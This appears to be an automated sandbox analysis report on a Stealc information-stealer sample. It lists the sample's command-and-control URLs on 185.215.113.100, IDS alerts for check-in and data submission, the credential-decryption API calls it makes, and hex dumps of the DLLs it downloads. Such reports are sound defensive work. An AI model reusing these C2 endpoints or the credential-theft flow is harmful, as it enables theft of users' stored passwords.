memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllllb	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpbnhcc	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpWi	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpcal	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpinR	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpPR	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpa	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpRUNTIME140.dllDH	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpE	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpal	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php)	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpettings	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpER	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpVB	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/o	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllJJKFHJEBKFBGDAAE	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpNT	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpFBFBAAKECFIEBFIEC	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phppmfplkfogfpmcngplhnbdnnie	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpc=#	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php=C	Avira URL Cloud: Label: malware

Source: http://185.215.113.100/e2b1563c6670f193.phpcal	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpWi	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpa	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpE	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php:	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php3	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/o	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpc=#	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php=C	Virustotal: Detection: 17%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129BB0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00129BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00138940 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00138940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00127280 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00127280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00129B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012C660 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0012C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5B6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.100:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:02 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:10 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:10 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de 